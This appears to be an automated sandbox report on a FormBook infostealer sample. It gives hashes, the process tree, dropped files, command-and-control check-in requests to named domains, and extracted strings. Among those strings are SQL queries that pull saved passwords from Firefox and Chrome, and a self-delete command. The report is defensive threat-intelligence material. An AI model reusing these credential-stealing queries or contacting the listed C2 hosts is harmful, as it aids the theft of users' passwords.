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| File name: | 588e64f0cecb7be8ffb253782164867b |
| Full analysis: | https://app.any.run/tasks/e032ed56-3c89-4e3a-be6b-aaacb40ef4e4 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | May 20, 2022, 19:43:45 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | 588E64F0CECB7BE8FFB253782164867B |
| SHA1: | 07680B353CDC696BECE3F891F0A6A73C9087EDCE |
| SHA256: | 7F9EAD41557A685C5F7CD82C6607D7BBE98397BF87CF04BE8E7E7E13BEA41938 |
| SSDEEP: | 6144:B0Y2TrEiwjwlegl6aSQsnrkLs663oqTL9Q:m31cw7SQ68YTK |
MALICIOUS
Drops executable file immediately after starts
- 588e64f0cecb7be8ffb253782164867b.exe (PID: 2884)
Application was dropped or rewritten from another process
- hrtmb.exe (PID: 3168)
- hrtmb.exe (PID: 3732)
FORMBOOK detected by memory dumps
- msiexec.exe (PID: 3264)
Connects to CnC server
- Explorer.EXE (PID: 1296)
FORMBOOK was detected
- Explorer.EXE (PID: 1296)
SUSPICIOUS
Checks supported languages
- 588e64f0cecb7be8ffb253782164867b.exe (PID: 2884)
- hrtmb.exe (PID: 3168)
- hrtmb.exe (PID: 3732)
Reads the computer name
- 588e64f0cecb7be8ffb253782164867b.exe (PID: 2884)
- hrtmb.exe (PID: 3732)
Drops a file with a compile date too recent
- 588e64f0cecb7be8ffb253782164867b.exe (PID: 2884)
Executable content was dropped or overwritten
- 588e64f0cecb7be8ffb253782164867b.exe (PID: 2884)
Application launched itself
- hrtmb.exe (PID: 3168)
Starts CMD.EXE for commands execution
- msiexec.exe (PID: 3264)
Reads Environment values
- msiexec.exe (PID: 3264)
INFO
Checks supported languages
- msiexec.exe (PID: 3264)
- cmd.exe (PID: 1976)
Reads the computer name
- msiexec.exe (PID: 3264)
Manual execution by user
- msiexec.exe (PID: 3264)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Formbook
(PID) Process(3264) msiexec.exe
C2www.zy.company/r75h/
Decoys and strings (143)USERNAME
LOCALAPPDATA
USERPROFILE
APPDATA
TEMP
ProgramFiles
CommonProgramFiles
ALLUSERSPROFILE
/c copy "
/c del "
\Run
\Policies
\Explorer
\Registry\User
\Registry\Machine
\SOFTWARE\Microsoft\Windows\CurrentVersion
Office\15.0\Outlook\Profiles\Outlook\
NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
\SOFTWARE\Mozilla\Mozilla
\Mozilla
Username:
Password:
formSubmitURL
usernameField
encryptedUsername
encryptedPassword
\logins.json
\signons.sqlite
\Microsoft\Vault\
SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins
\Google\Chrome\User Data\Default\Login Data
SELECT origin_url, username_value, password_value FROM logins
.exe
.com
.scr
.pif
.cmd
.bat
ms
win
gdi
mfc
vga
igfx
user
help
config
update
regsvc
chkdsk
systray
audiodg
certmgr
autochk
taskhost
colorcpl
services
IconCache
ThumbCache
Cookies
SeDebugPrivilege
SeShutdownPrivilege
\BaseNamedObjects
config.php
POST
HTTP/1.1
Host:
Connection: close
Content-Length:
Cache-Control: no-cache
Origin: http://
User-Agent: Mozilla Firefox/4.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://
Accept-Language: en-US
Accept-Encoding: gzip, deflate
dat=
f-start
prvzz.xyz
jhh9999.com
myshellsnaturals.com
kaminemper.xyz
whatongodsgreedearth.com
xiaoxinyan.com
bruv.media
solarpenels-es-open.site
cymail.ca
viaplan.site
a2700ou.com
klinkai.com
e2ojcduey3b1.xyz
summerfarm.site
justlable.store
burghwallisjubilee.com
kangarooblog2022.com
graficaolimpo.com
hjsdsgtdfg.xyz
keezelevenrsa.xyz
caseynevaeh.xyz
calender.pro
paysoshomozwv.xyz
beccashop.com
b0jpt2.xyz
betscorestips.store
foreignbills4u.com
dignitycareatoasis.com
milktowngoats.com
elijahchairs.com
yhllwyj.xyz
magicalmeta.xyz
elusiveminds.institute
onenight19.com
bestpremiumwordpressthemes.com
brightstonexm.com
southwestfloridamattress.com
wanderlabs.media
idiotideas.com
t4yhofie0.xyz
voice-of-april.com
feelmypayne.com
istanbulhikayeleri.com
navlgatorkcy.website
beijinghongritianchuang.site
phemsoq.xyz
redeemliquor.com
modocinema.com
donutprints.info
malerbetriebbock.com
akimotrade.com
yeavaneu.xyz
digitaliseringsstyrelsen.xyz
ib-moneta-zmrazeny.info
explainedpro.com
xdygu.xyz
ozdemirdtm.com
godhcf.xyz
openerlotion.site
7477a.xyz
penguinmoonwalker.com
matchperfeito.com
fqvsi.xyz
grandudes.com
f-end
Modules (42)kernel32.dll
advapi32.dll
ws2_32.dll
svchost.exe
msiexec.exe
wuauclt.exe
lsass.exe
wlanext.exe
msg.exe
lsm.exe
dwm.exe
help.exe
chkdsk.exe
cmmon32.exe
nbtstat.exe
spoolsv.exe
rdpclip.exe
control.exe
taskhost.exe
rundll32.exe
systray.exe
audiodg.exe
wininit.exe
services.exe
autochk.exe
autoconv.exe
autofmt.exe
cmstp.exe
colorcpl.exe
cscript.exe
explorer.exe
WWAHost.exe
ipconfig.exe
msdt.exe
mstsc.exe
NAPSTAT.EXE
netsh.exe
NETSTAT.EXE
raserver.exe
wscript.exe
wuapp.exe
cmd.exe
TRiD
| .exe | | | NSIS - Nullsoft Scriptable Install System (94.8) |
|---|---|---|
| .exe | | | Win32 Executable MS Visual C++ (generic) (3.4) |
| .dll | | | Win32 Dynamic Link Library (generic) (0.7) |
| .exe | | | Win32 Executable (generic) (0.5) |
| .exe | | | Generic Win/DOS Executable (0.2) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2007:06:08 23:48:38+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 23040 |
| InitializedDataSize: | 119808 |
| UninitializedDataSize: | 1024 |
| EntryPoint: | 0x32fa |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 08-Jun-2007 21:48:38 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 08-Jun-2007 21:48:38 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000059AC | 0x00005A00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.45808 |
.rdata | 0x00007000 | 0x0000117A | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.17514 |
.data | 0x00009000 | 0x0001AFD8 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.98111 |
.ndata | 0x00024000 | 0x00008000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x0002C000 | 0x00000900 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.94449 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.00226 | 491 | UNKNOWN | English - United States | RT_MANIFEST |
103 | 2.16096 | 20 | UNKNOWN | English - United States | RT_GROUP_ICON |
105 | 2.66174 | 256 | UNKNOWN | English - United States | RT_DIALOG |
106 | 2.88094 | 284 | UNKNOWN | English - United States | RT_DIALOG |
111 | 2.48825 | 96 | UNKNOWN | English - United States | RT_DIALOG |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
VERSION.dll |
ole32.dll |
Total processes
38
Monitored processes
6
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2884 | "C:\Users\admin\AppData\Local\Temp\588e64f0cecb7be8ffb253782164867b.exe" | C:\Users\admin\AppData\Local\Temp\588e64f0cecb7be8ffb253782164867b.exe | Explorer.EXE | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3168 | C:\Users\admin\AppData\Local\Temp\hrtmb.exe C:\Users\admin\AppData\Local\Temp\bxhfn | C:\Users\admin\AppData\Local\Temp\hrtmb.exe | — | 588e64f0cecb7be8ffb253782164867b.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3732 | C:\Users\admin\AppData\Local\Temp\hrtmb.exe C:\Users\admin\AppData\Local\Temp\bxhfn | C:\Users\admin\AppData\Local\Temp\hrtmb.exe | — | hrtmb.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3264 | "C:\Windows\System32\msiexec.exe" | C:\Windows\System32\msiexec.exe | Explorer.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) Formbook(PID) Process(3264) msiexec.exe C2www.zy.company/r75h/ Decoys and strings (143)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start prvzz.xyz jhh9999.com myshellsnaturals.com kaminemper.xyz whatongodsgreedearth.com xiaoxinyan.com bruv.media solarpenels-es-open.site cymail.ca viaplan.site a2700ou.com klinkai.com e2ojcduey3b1.xyz summerfarm.site justlable.store burghwallisjubilee.com kangarooblog2022.com graficaolimpo.com hjsdsgtdfg.xyz keezelevenrsa.xyz caseynevaeh.xyz calender.pro paysoshomozwv.xyz beccashop.com b0jpt2.xyz betscorestips.store foreignbills4u.com dignitycareatoasis.com milktowngoats.com elijahchairs.com yhllwyj.xyz magicalmeta.xyz elusiveminds.institute onenight19.com bestpremiumwordpressthemes.com brightstonexm.com southwestfloridamattress.com wanderlabs.media idiotideas.com t4yhofie0.xyz voice-of-april.com feelmypayne.com istanbulhikayeleri.com navlgatorkcy.website beijinghongritianchuang.site phemsoq.xyz redeemliquor.com modocinema.com donutprints.info malerbetriebbock.com akimotrade.com yeavaneu.xyz digitaliseringsstyrelsen.xyz ib-moneta-zmrazeny.info explainedpro.com xdygu.xyz ozdemirdtm.com godhcf.xyz openerlotion.site 7477a.xyz penguinmoonwalker.com matchperfeito.com fqvsi.xyz grandudes.com f-end Modules (42)kernel32.dll advapi32.dll ws2_32.dll svchost.exe msiexec.exe wuauclt.exe lsass.exe wlanext.exe msg.exe lsm.exe dwm.exe help.exe chkdsk.exe cmmon32.exe nbtstat.exe spoolsv.exe rdpclip.exe control.exe taskhost.exe rundll32.exe systray.exe audiodg.exe wininit.exe services.exe autochk.exe autoconv.exe autofmt.exe cmstp.exe colorcpl.exe cscript.exe explorer.exe WWAHost.exe ipconfig.exe msdt.exe mstsc.exe NAPSTAT.EXE netsh.exe NETSTAT.EXE raserver.exe wscript.exe wuapp.exe cmd.exe | ||||
| 1976 | /c del "C:\Users\admin\AppData\Local\Temp\hrtmb.exe" | C:\Windows\System32\cmd.exe | — | msiexec.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 1296 | C:\Windows\Explorer.EXE | C:\Windows\Explorer.EXE | — | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
757
Read events
757
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
3
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2884 | 588e64f0cecb7be8ffb253782164867b.exe | C:\Users\admin\AppData\Local\Temp\hrtmb.exe | executable | |
MD5:D8D7186A46FB0078E44ED89C64AA3881 | SHA256:4982AAF13A3DC1C128975A9FFFC5636280AB0ACFE390574164EDAA019C1B3B9C | |||
| 2884 | 588e64f0cecb7be8ffb253782164867b.exe | C:\Users\admin\AppData\Local\Temp\afy7cbsqdzzlq5ud0 | binary | |
MD5:8DC56B738DB64FE02A247DAEFEC0466D | SHA256:D3D766A35F0D10AB029B4E978851F6E2ED2E08C59FEACA21F4A8FE60AB8CEDAB | |||
| 2884 | 588e64f0cecb7be8ffb253782164867b.exe | C:\Users\admin\AppData\Local\Temp\nsu91E7.tmp | binary | |
MD5:402ED41E9B1B3CB0ED776923524F41D8 | SHA256:DEF718CBB32BB01E5FDDDDE34E47BF926C72A664AF361422DE3348A563E75206 | |||
| 2884 | 588e64f0cecb7be8ffb253782164867b.exe | C:\Users\admin\AppData\Local\Temp\bxhfn | binary | |
MD5:8D939C4619A1B93A91EC769E50865A30 | SHA256:6D7F790627A73FC30AA77D515AB674C0B444910974826A403A4C978D8CEDE3A4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
4
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1296 | Explorer.EXE | GET | 301 | 162.43.118.123:80 | http://www.akimotrade.com/r75h/?jP=/SELbyx6zIe4F7FPy6FEek/QPcTN2xBCR8QPm+T5Nt2NejYU9hWEkwWMHQQxhWJNYc57UA==&pNJ=Nv1DCv_ | US | html | 332 b | malicious |
1296 | Explorer.EXE | GET | 404 | 156.226.218.214:80 | http://www.jhh9999.com/r75h/?jP=5gPu29TqcIwODq2QILsIZu7pgJD0Y8PRHWogwA/1Lfzsy6zppku2vs68JDEv5oYfX1otIQ==&pNJ=Nv1DCv_ | ZA | html | 146 b | malicious |
1296 | Explorer.EXE | GET | 403 | 185.53.178.51:80 | http://www.calender.pro/r75h/?jP=TSRS8iTb02g4KDwSSgcLxK1PWAs4Q/+aC5V0Gi5D8RV63ds4WfZLpkCOfob1KW+V9bSrtg==&pNJ=Nv1DCv_ | DE | html | 146 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1296 | Explorer.EXE | 162.43.118.123:80 | www.akimotrade.com | — | US | malicious |
1296 | Explorer.EXE | 185.53.178.51:80 | www.calender.pro | Team Internet AG | DE | malicious |
1296 | Explorer.EXE | 156.226.218.214:80 | www.jhh9999.com | MacroLAN | ZA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.zy.company |
| unknown |
www.akimotrade.com |
| malicious |
www.jhh9999.com |
| malicious |
www.calender.pro |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |